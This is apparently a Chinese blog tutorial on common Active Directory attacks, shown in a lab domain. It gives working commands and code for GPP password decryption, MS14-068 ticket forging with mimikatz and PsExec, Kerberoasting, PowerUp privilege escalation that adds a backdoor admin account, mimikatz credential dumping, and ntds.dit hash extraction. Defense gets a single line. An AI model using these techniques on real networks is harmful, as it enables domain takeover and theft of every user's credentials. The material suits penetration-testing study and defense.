常见AD攻击方式

SYSVOL和GPP漏洞

SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,默认情况下所有认证用户(任何域用户或受信任域中的用户)都可以读取。

GPP即Group Policy Preferences(组策略首选项),是一个组策略实施工具。利用GPP网络管理员可以实现多种网络管理,如驱动映射、添加计划任务、管理本地组和用户。

使用组策略添加用户密码、更新账号密码时会将AES-256加密后的密码存储在SYSVOL共享目录中的xml文件里,所有的组策略数据都存储在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\,而微软在2012年公布了改AES加密的私钥,导致加密后的密文可以被轻松解密。

下面新建一个组策略,更新test0的密码为test0

G9CiIe.png

通过查看详细信息,可以获得该组策略的唯一id{6AC1786C-016F-11D2-945F-00C04FB984F9},因此存储密码的xml文件在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\6AC1786C-016F-11D2-945F-00C04FB984F9\MACHINE\Preferences\Groups\Groups.xml

G9Pnp9.png

cpassword字段存储的即是加密的密码

G9inUS.png

可以使用powershell脚本Get-GPPPassword.ps1直接获取到所有信息。

摘取其中解密函数,可将9bQnc7XTMrKH7Drfh3e0Fw解密为密码test0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)

try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)

switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}

catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "9bQnc7XTMrKH7Drfh3e0Fw"

防御

在管理组策略的计算上安装KB2962486补丁,该补丁不再将密码保存在共享目录中。但是补丁之前的密码还会存留在SYSVOL目录中,补丁后应及时删除。

MS14-068

该漏洞可能允许攻击者将未经授权的域用户帐户的权限,提升到域管理员帐户的权限。

在域控没有打MS14-068的补丁且获得一个普通域用户以及密码/hash值的情况下可以轻松拿下域控。

whoami /all获取sid

set l或者dsquery server获取域控机器名

GmkuJH.png

使用ms14-068.exe伪造kerberos票据

GmF3aF.png

使用mimikatz导入票据

首先清除票据mimikatz.exe "kerberos::purge" exit

然后导入mimikatz.exe "kerberos::ptc TGT_testuser@test.sec.ccache" exit

mimikatz.exe "kerberos::list" exit查看导入成功后,使用dir \\WIN-SUHBP6P5S9R.test.sec\c$可查看域控目录

GKlFr8.png

使用PsExec.exe \\WIN-SUHBP6P5S9R.test.sec cmd.exe可获得一个域控shell

GK1nTe.png

注:使用windows server 2003复现时,无法利用mimikatz导入Kerberos票据,遂改用windows 7。

Kerberoast攻击

Kerberoast攻击,即攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。

使用命令 setspn -S MSSQLSvc/BOOGLE-WIN2003.TEST.SEC:1433 testuser 注册SPN

使用kerberost工具包中的GetUserSPNs.vbs可查看与用户相关联的服务

GlFfFP.png

请求SPN kerberos票据

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosReuestorSecurityToken -ArgumentList "MSSQLSvc/BOOGLE-WIN2003.TEST.SEC:1433"

然后使用klist命令可查看kerberos票据

GlV3kR.png

这里需要需要注意的是,如果票据会话密钥类型为AES-256-CTS-HMAC-SHA1-96,需要通过修改服务器组策略将加密方式改为RC4_HMAC_MD5,这样才可以使用tgsrepcrack.py破解该票据。

1
2
gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\
Network security: Configure encryption types allowed for Kerberos

然后使用mimikatz导出票据

mimikatz.exe "kerberos::list /export" exit

GlmSl6.png

然后即可使用tgsrepcrack.py破解Kerberos票据

GlmMnS.png

内网横移抓取管理员凭证

内网横移即以被攻陷的系统为跳板,访问其他域内主机,通过不断的信息收集,扩大访问权限,直到控制域控制器或其他目标资产。

动横向移动的方式:
1)获得一台域主机的权限;
2)Dump内存获得用户hash;
3)通过pass the hash尝试登录其他主机;
4)续搜集hash并尝试远程登录;
5)获得域管理员账户hash,登录域控,最终成功
控制整个域;

Dump内存需要获得本地管理员权限,如果获得的权限较低需进行提权

提权

使用Sherlock.ps1脚本查找未安装的补丁

powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\Sherlock.ps1;Find-AllVulns}"

使用Powerup.ps1查找系统服务权限配置错误漏洞

powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Invoke llChecks}"

查找可信任服务路径漏洞

1
wmic service get name,displayname,pathname,startname |findstr /i "Auto"|findstr /i /v "C:\Windows\\" |findstr /i /v """

使用Powerup.ps1查看是否开启windows Installer特权安装功能

powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"

生成可以添加管理员账户的msi

powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Write-UserAddMSI}"

运行该msi

msiexec /q /i UserAdd.msi

G8Rnd1.png

运行后添加的backdoor账号属于本地Administrators组成员

G8WQ7n.png

使用mimikatz抓取用户密码和hash,通过Hash传递等方式不断扩大资产范围。

1
2
3
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords full

获取AD数据库文件

ntdsutil.exe

使用如下命令创建一个快照,并获取快照GUID

1
ntdsutil snapshot "activate instance ntds" create quit quit

加载上面的快照,并将快照加载到C:\$SNAP_202004051018_VOLUME$\

1
ntdsutil snapshot "mount {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" quit quit

GB8yi8.png

使用copy命令从上面加载的快照文件中将ntds.dit复制出来

1
copy  C:\$SNAP_202004051018_VOLUMEC$\windows\ntds\ntds.dit C:\Users\administrator\Desktop\ntds.dit

同样的方法copy出来SAMSYSTEM文件,其在windows\system32\config文件夹下

卸载并删除快照

1
ntdsutil snapshot "unmount {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" "delete {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" quit quit

使用DSInternals cmdlet离线导出所有用户hash

1
2
3
Install-Module DSInternals
$key = Get-BootKey -SystemHivePath "C:\Users\boogle\Desktop\SYSTEM"
Get-ADDBAccount -ALl -DBPath "C:\Users\boogle\Desktop\ntds.dit" -BootKey $key

GBt4cF.png

导出支持hashcat的NT hash

1
Get-ADDBAccount -ALl -DBPath "C:\Users\boogle\Desktop\ntds.dit" -BootKey $key| Format-Custom -View HashcatN

GBtX9K.png

本文标题:常见AD攻击方式

文章作者:boogle

发布时间:2020年04月06日 - 17:06

最后更新:2020年04月06日 - 17:10

原始链接:https://zhengbao.wang/常见AD攻击方式/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗